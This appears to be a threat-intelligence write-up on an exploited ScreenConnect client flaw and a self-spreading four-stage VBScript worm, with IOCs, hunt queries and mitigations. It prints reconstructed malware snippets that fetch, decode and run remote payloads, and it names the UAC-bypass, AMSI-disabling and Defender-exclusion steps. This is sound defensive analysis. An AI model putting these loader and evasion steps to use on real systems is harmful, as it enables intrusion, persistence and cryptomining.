ScreenConnect CVE-2026-84869: Rogue Clients Spread a Four-Stage VBScript Worm

·

What: ConnectWise patched CVE-2026-84869 (CVSS 9.9) on September 8, 2026 — a flaw that lets a ScreenConnect client transfer and execute files across an active remote session without host authorisation or confirmation. CISA added it to the Known Exploited Vulnerabilities catalog on September 11 with an FCEB remediation deadline of September 14.

Who & when: Huntress observed in-the-wild exploitation from August 20, 2026 across three unrelated organisations, delivered by tech-support and refund-scam social engineering. The operators are unattributed but ran a single, consistent toolkit.

Why it matters: A modified client weaponises the flaw into worm-like propagation — it silently pushes a four-stage VBScript chain onto every newly connected host, then branches into a hidden ScreenConnect backdoor, a UAC-bypass elevation kit, or a wstunnel + XMRig package. Because ScreenConnect is a trusted RMM binary, the initial execution looks legitimate.

◈ Table of Contents

01 Threat Overview & Timeline 02 Affected Products & Versions 03 Initial Access Vectors 04 The Vulnerability Mechanics 05 Technical Deep Dive: VBScript Chain 06 Worm-Like Propagation 07 Post-Exploitation Payloads 08 Indicators of Compromise 09 Detection & Hunt Queries 10 MITRE ATT&CK Mapping 11 Mitigation & Hardening 12 Sources & References
🛰️

01 · Threat Overview & Timeline

PHASE 01

ScreenConnect is one of the most widely deployed remote-support tools on Windows, which makes any authorisation weakness in it a high-value target. CVE-2026-84869 is not a server bug — it lives in the client, in how file-transfer actions are gated during a live session. Under the right conditions a session participant can drop and run files on the endpoint with no operator prompt and no host consent.

Huntress correlated the same tooling across multiple customer environments, and the tell-tale artefact — a legitimate-looking ScreenConnect client repeatedly spawning wscript.exe to run numbered VBScripts — was consistent enough to characterise the activity as a single campaign with worm-like behaviour.

FieldDetail
CVECVE-2026-84869 Critical
CVSS 3.19.9 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWECWE-862 (Missing Authorization) · CWE-269 (Improper Privilege Management)
ComponentScreenConnect client (server unaffected)
VendorConnectWise
KEV addedSeptember 11, 2026 (FCEB due September 14, 2026)
Disclosure & Exploitation Timeline
Dated
  • 1Aug 20, 2026 — First observed intrusions: Quick Assist tech-support scam and a phishing-delivered installer both terminate in a rogue ScreenConnect client.
  • 2Aug 24, 2026 — A fake Geek Squad "refund" lure delivers the same client and VBScript chain to a third, unrelated organisation.
  • 3Sep 2, 2026 — Huntress notes the staging Dropbox URL is offline, indicating active infrastructure rotation.
  • 4Sep 8, 2026 — ConnectWise publishes the bulletin and ships the fix in ScreenConnect 26.6.5.
  • 5Sep 11, 2026 — CISA adds CVE-2026-84869 to the KEV catalog; federal patch deadline set for Sep 14.
📦

02 · Affected Products & Versions

PHASE 02

The vulnerable code path is in the client, but every client version prior to 26.6.5 is affected, including the access agents deployed by managed-service providers. Cloud-hosted instances receive the server-side update automatically, yet host clients and access agents still need to be reinstalled or updated to pick up the fix.

ProductAffectedFixedStatus
ScreenConnect clientAll versions < 26.6.526.6.5 PatchedActively exploited
ScreenConnect serverNot the vulnerable componentNot impacted
On-prem upgrade pathRequires 25.4 or later firstThen 26.6.5Manual
Cloud instancesServer auto-updated26.6.5Reinstall clients/agents

Patching the server alone does not close the exposure. Any host client or access agent left on a pre-26.6.5 build remains exploitable, and an already-modified client will keep propagating regardless of the server version.

🎣

03 · Initial Access Vectors

PHASE 03

Every observed intrusion began with human-operated social engineering rather than a remote network exploit. The attackers needed a foothold that would run a ScreenConnect client; once that client existed, the vulnerability handled the rest. The three documented entry points:

🖥️

Quick Assist Scam

Victim is talked through opening Windows Quick Assist and granting remote control, after which the operator installs a rogue ScreenConnect client.

📧

Phishing → Installer

An Edge-delivered download / MSI-style installer drops the client, in one case paired with a second RMM tool, UltraViewer, for redundancy.

💳

Fake Refund Form

A Geek Squad "refund" lure walks the target into a support session that ends with the ScreenConnect client and VBScript chain in place.

All three lures share one property: they make the victim install a legitimately signed RMM binary themselves. That is why EDR often stays quiet at the initial-access stage — nothing is exploited yet, and the tool is trusted.

🔓

04 · The Vulnerability Mechanics

PHASE 04

ScreenConnect supports a virtual file-transfer system so a technician can send files into a live session. CVE-2026-84869 is a missing-authorisation gap in that path: under certain circumstances a file-transfer action, including one flagged to Run, proceeds during an active session without host confirmation. A crafted or modified client can register files with the transfer system and issue a Run action that the endpoint honours automatically.

The critical forensic detail is who the execution is attributed to. In ScreenConnect audit logs, these file operations appear as RunFiles / RanFiles events, and in this campaign they run under Process: Guest — an unauthenticated session role that should never be pushing executable scripts.

PropertyValue
Bug classMissing authorisation on in-session file transfer + run
PreconditionActive remote session with an attacker-controlled/modified client
User interactionNone required (no host confirmation prompt)
Audit-log signatureRunFiles / RanFiles executed from Process: Guest
Net effectArbitrary file write + execution on the endpoint
CVE-2026-84869 attack chain — from social-engineering lure to self-propagating VBScript stager.
🧬

05 · Technical Deep Dive: The Four-Stage VBScript Chain

PHASE 05

Once the client runs the payload, the endpoint executes four numbered VBScripts — 1.vbs through 4.vbs — chained through a small on-disk state machine. Each stage does one job and hands a state value to the next, which keeps any single script benign-looking in isolation.

1
1.vbs — Profiling & Guardrails
Recon

The first stage builds a three-bit state variable by profiling the host, then decides whether to continue. It aborts if a ScreenConnect client already exists (avoiding double-infection), enumerates security products, and checks for at least 5 GB of RAM to skip sandboxes and thin VMs.

What it checks
  • aExisting ScreenConnect install → abort if found.
  • bSecurity tooling: Huntress, CrowdStrike, SentinelOne, Sophos, Malwarebytes, Cisco AMP.
  • cPhysical memory ≥ 5 GB as a coarse anti-analysis gate.
  • dWrites the resulting state to %TEMP%\value.txt.
2
2.vbs — Catalogue Retrieval
Staging

The second stage downloads a payload catalogue named map.txt from a Dropbox URL, then decodes it: base64 first, followed by a single-byte XOR using key 90. The decoded map tells later stages which encrypted blob corresponds to which state value.

Observed decode logic (reconstructed)
' stage 2 — fetch and decode the payload map raw = HttpGet(dropboxUrl) ' map.txt (base64) blob = Base64Decode(raw) plain = XorBytes(blob, 90) ' single-byte key WriteFile "%TEMP%\map.txt", plain
3
3.vbs — State-Driven Payload Selection
Branch

The third stage reads the state written in stage one and downloads the matching encrypted payload named in the map — one of user.enc, acc.enc or combo.enc. This is where the chain forks into its three operational outcomes.

StatePayloadOutcome
000 / 001user.encUser-level ScreenConnect backdoor
010acc.encUAC-bypass / elevation kit (PyTorchFix.ps1)
011combo.encwstunnel tunnel + XMRig miner
4
4.vbs — AES Decrypt & Execute
Detonate

The final stage fetches an AES key from a remote URI, builds an inline PowerShell script, and uses AES-CBC to decrypt the blob to %APPDATA%\Microsoft\Windows\Templates\Classic\sys_cache.zip. It then runs the extracted PyTorchFix.ps1 and terminates the script processes to reduce noise.

Stage 4 — decrypt-and-run (reconstructed)
# key pulled from remote URI, payload decrypted in memory $key = (Invoke-WebRequest $keyUri).Content $aes = [System.Security.Cryptography.Aes]::Create() $aes.Mode = 'CBC' Decrypt-File "out.enc" -To "...\Classic\sys_cache.zip" Expand-Archive "sys_cache.zip" ; . ".\PyTorchFix.ps1"
PyTorchFix.ps1 — Elevation & Evasion (010 branch)
Escalate

The elevation payload is where the campaign turns a user-level foothold into a resilient, defence-blinding one. It chains a UAC bypass with AMSI tampering and Defender exclusions before installing a hidden ScreenConnect backdoor.

Actions performed
  • 1Compiles Password.exe from inline C# at runtime.
  • 2Hijacks the ms-settings: protocol via ComputerDefaults.exe for a UAC bypass.
  • 3Sets AmsiUtils.amsiInitFailed = true to disable in-process AMSI scanning.
  • 4Adds C:\Users to Microsoft Defender exclusions.
  • 5Installs a hidden ScreenConnect client with instance ID 7a4d7d66502d4260.

A blanket Defender exclusion on C:\Users is a loud, high-fidelity signal. Alert on any process adding user-profile roots to exclusion lists — legitimate software almost never does this.

🪱

06 · Worm-Like Propagation

PHASE 06

The behaviour that elevates this from "yet another RMM abuse" to a genuine worm is what the modified client does after it lands. It watches the ScreenConnect connection table and, when a new host joins, automatically weaponises the same flaw against it — no operator action required.

Self-Propagation Loop
Spread
  • 1The modified client monitors EndPointStatusMessage.Connections for new sessions.
  • 2It identifies a freshly connected Host by Connection ID.
  • 3It packages 1.vbs4.vbs as a file-transfer message with a Run action.
  • 4CVE-2026-84869 lets the transfer + run proceed without host confirmation.
  • 5The new host re-runs the chain and, if it becomes a relay, repeats the loop.

This is why "rogue ScreenConnect installations across unrelated hosts" was the first clue: the spread pattern didn't match a single operator hand-jamming installs. It matched code fan-out.

🧰

07 · Post-Exploitation Payloads

PHASE 07

Depending on the state value, the chain drops one of three toolsets. Together they give the operators persistence, elevation, covert tunnelling and monetisation from the same delivery framework.

🚪

user.zip — Backdoor

A user-level ScreenConnect backdoor for durable, low-privilege remote access that blends in with legitimate RMM traffic.

⬆️

acc.zip — Elevation

PyTorchFix.ps1: UAC bypass, AMSI tampering, Defender exclusions, and a hidden client for SYSTEM-track persistence.

🛜

combo.zip — Tunnel + Miner

Themes.exe (a renamed wstunnel) for covert tunnelling, SearchIndex.exe (XMRig) for mining, plus a vulnerable WinRing0 driver.

Tooling & Masquerade Map
Artifacts
On-disk nameReal identityPurpose
Password.exeInline C# toolUAC bypass helper
Themes.exewstunnelCovert tunnelling to homehub.opik[.]net:443
SearchIndex.exeXMRigMonero cryptomining
svcdrv64.sysWinRing0 driverVulnerable driver / low-level access
WindowsServiceHost.vbsLoader scriptRun-key persistence
Client 7a4d7d66502d4260ScreenConnectHidden backdoor instance
🎯

08 · Indicators of Compromise

PHASE 08

All indicators below are from Huntress incident data. Infrastructure has been rotating (the staging Dropbox URL went offline on Sep 2), so treat network IOCs as point-in-time and prioritise the behavioural detections in Phase 09.

File hashes (SHA-256)
FileSHA-256
1.vbs08bc4e82883eb42fc5219b206555b7a02a879860c76b4a12b2f82a64f6cc9020
2.vbsde3b6836a88ae4b117e3b6de0e9cce3cd56a2b27b462d69e50c2fcac4089a457
2.vbs (v2)19a3534da9f60c726be426ec5cc2b72c2d1254fefa0782bd2f08ef08117f3260
3.vbs110fffc85370bb7cc60fa023447165c7e99175473d76bc5ffb2abecaa3a41d66
4.vbsde89d560fc8302c778d88e3938327b240fa0db9a64fc1d5643067eedcbd2aede
WindowsServiceHost.vbsffd6d23f579571cc61936145791975da78b6ae914d780a9447a8f53c3688a0de
Network indicators
IndicatorRole
45.13.237[.]190C2
131.123.40[.]98:8041ScreenConnect C2
15.204.185[.]204C2
146.59.55[.]107UltraViewer (secondary RMM)
45.32.192[.]150UltraViewer (secondary RMM)
tele-sync.opik[.]netDomain (assoc. 45.13.237[.]190)
borertors92.anondns[.]netScreenConnect C2 domain
homehub.opik[.]net:443wstunnel tunnelling endpoint
Host artefacts & paths
TypeValue
State file%TEMP%\value.txt
Payload map%TEMP%\map.txt
Encrypted blob%TEMP%\out.enc
Decryptor%TEMP%\runner.ps1
Decrypted payload%APPDATA%\Microsoft\Windows\Templates\Classic\sys_cache.zip
VBS distribution dirC:\Users\Public\Libraries\Default\Lib\Lib1\
Persistence script%APPDATA%\WindowsServiceHost.vbs
Run keyHKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsServiceHost
🔎

09 · Detection & Hunt Queries

PHASE 09

The most durable signal is behavioural: a signed ScreenConnect client spawning the Windows Script Host to run numbered VBScripts. Each query below pairs a Microsoft Sentinel / Defender KQL with a Splunk SPL equivalent, and each is preceded by what it catches.

DETECTS — ScreenConnect client spawning wscript.exe (core behavioural tell)

// Microsoft Defender / Sentinel — KQL DeviceProcessEvents | where InitiatingProcessFileName has "ScreenConnect" | where FileName in~ ("wscript.exe", "cscript.exe") | where ProcessCommandLine matches regex @"[1-4]\.vbs" | project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine
## Splunk — SPL (Sysmon EventCode 1) index=sysmon EventCode=1 parent_process_name="*ScreenConnect*" (process_name=wscript.exe OR process_name=cscript.exe) process="*.vbs*" | table _time, ComputerName, parent_process_name, process

DETECTS — WindowsServiceHost Run-key persistence

// KQL — registry autostart DeviceRegistryEvents | where RegistryKey has @"CurrentVersion\Run" | where RegistryValueName =~ "WindowsServiceHost" or RegistryValueData has "WindowsServiceHost.vbs" | project Timestamp, DeviceName, RegistryValueName, RegistryValueData
## SPL — registry autostart (Sysmon EventCode 13) index=sysmon EventCode=13 TargetObject="*\\CurrentVersion\\Run\\*" (Details="*WindowsServiceHost*") | table _time, ComputerName, TargetObject, Details

DETECTS — Defender exclusion added for C:\Users (evasion)

// KQL — suspicious AV exclusion DeviceRegistryEvents | where RegistryKey has @"Windows Defender\Exclusions\Paths" | where RegistryValueName has @"C:\Users" | project Timestamp, DeviceName, RegistryValueName, InitiatingProcessCommandLine
## SPL — Defender exclusion via PowerShell index=* (process="*Add-MpPreference*" OR TargetObject="*Exclusions\\Paths*") (process="*C:\\Users*" OR Details="*C:\\Users*") | table _time, ComputerName, process, Details

DETECTS — outbound C2 / tunnel connections

// KQL — known C2 network IOCs let c2 = dynamic(["45.13.237.190","131.123.40.98","15.204.185.204","146.59.55.107","45.32.192.150"]); DeviceNetworkEvents | where RemoteIP in (c2) or RemoteUrl has_any ("opik.net","anondns.net") | project Timestamp, DeviceName, RemoteIP, RemoteUrl, InitiatingProcessFileName
## SPL — known C2 network IOCs index=firewall (dest_ip=45.13.237.190 OR dest_ip=131.123.40.98 OR dest_ip=15.204.185.204 OR dest_ip=146.59.55.107 OR dest_ip=45.32.192.150 OR query="*opik.net*" OR query="*anondns.net*") | stats count by src_ip, dest_ip, query

ScreenConnect keeps its own audit trail. Hunt the session logs for RunFiles / RanFiles entries referencing 1.vbs–4.vbs executed from Process: Guest — that combination is a near-certain compromise signal, independent of EDR coverage.

🗺️

10 · MITRE ATT&CK Mapping

PHASE 10
TacticTechniqueID
Initial AccessPhishing: Spearphishing LinkT1566.002
ExecutionCommand & Scripting: VBScriptT1059.005
ExecutionCommand & Scripting: PowerShellT1059.001
PersistenceRegistry Run Keys / Startup FolderT1547.001
Priv. EscalationAbuse Elevation Control: Bypass UACT1548.002
Defense EvasionImpair Defenses: Disable/Modify ToolsT1562.001
Defense EvasionDeobfuscate/Decode (base64+XOR+AES)T1140
Defense EvasionObfuscated / renamed toolsT1027
DiscoverySecurity Software DiscoveryT1518.001
Command & ControlIngress Tool TransferT1105
Lateral MovementLateral Tool Transfer (worm)T1570
ImpactResource Hijacking (XMRig)T1496
🛡️

11 · Mitigation & Hardening

PHASE 11
Priority Actions
Do Now
  • 1Upgrade to ScreenConnect 26.6.5 on server, host clients and access agents (on-prem must be on 25.4+ first).
  • 2If you cannot patch immediately, deselect the TransferFiles permission under Administration → Security → Roles as a temporary mitigation.
  • 3Audit all installed ScreenConnect instances; hunt for the hidden client ID 7a4d7d66502d4260 and any instance you did not deploy.
  • 4Inventory RMM tools org-wide — the presence of a second tool such as UltraViewer alongside ScreenConnect is a strong compromise indicator.
  • 5Sweep for the Run key WindowsServiceHost and the artefact paths in Phase 08.

Huntress advised that confirmed-compromised hosts be reimaged from known-good media. Between UAC bypass, AMSI tampering, Defender exclusions and a vulnerable driver, in-place cleanup is unreliable.

Recovered / Hardened When
  • All ScreenConnect binaries confirmed at 26.6.5 or later
  • No unauthorised ScreenConnect instances or UltraViewer present
  • WindowsServiceHost Run key and VBS artefacts removed / host reimaged
  • Defender exclusions reset; AMSI functioning; C2 IOCs blocked at egress
  • RMM install permitted only via application allow-listing going forward

Longer term, treat RMM binaries as high-risk: restrict who can install them with application control, alert on any RMM tool spawning a scripting host, and require host-side confirmation for in-session file transfers wherever the product supports it.

📚

12 · Sources & References

PHASE 12
🔬
Huntress — Rogue ScreenConnect Installations (worm-like activity)
Primary DFIR source · full IOC set & audit-log guidance
Huntress — Rogue ScreenConnect Installations Across Unrelated Hosts Suggest Worm-Like Activity ConnectWise — ScreenConnect Security Bulletin (CVE-2026-84869, 2026-09-08) NVD — CVE-2026-84869 (CVSS 9.9, CWE-862 / CWE-269) CISA — Known Exploited Vulnerabilities Catalog entry The Hacker News — Rogue ScreenConnect Clients Spread Four-Stage VBScript Chain SecurityWeek — ConnectWise Patches ScreenConnect Vulnerability Exploited in Worm-Like Attacks

Check your environment against these IOCs.

Paste the ScreenConnect hashes, C2 IPs and domains from Phase 08 into the CyberHawk IOC Scanner, and browse more active-exploitation breakdowns on the Threat Intel feed. For RMM-abuse response playbooks, see the CyberHawk SOP library.

◈ Stay Connected

Follow CyberHawk Threat Intel for threat intelligence, deployment guides and hands-on SOC tooling content.

🌐 Website ▶️ YouTube ▶️ YouTube (2) 𝕏 Twitter / X ♪ TikTok ✈️ Telegram
🔍 IOC Scanner 🛠️ Live Tools 📚 Courses 🚨 Threat Intel 📝 Blog 📋 SOPs

"They can't exploit you if you are the Exploit."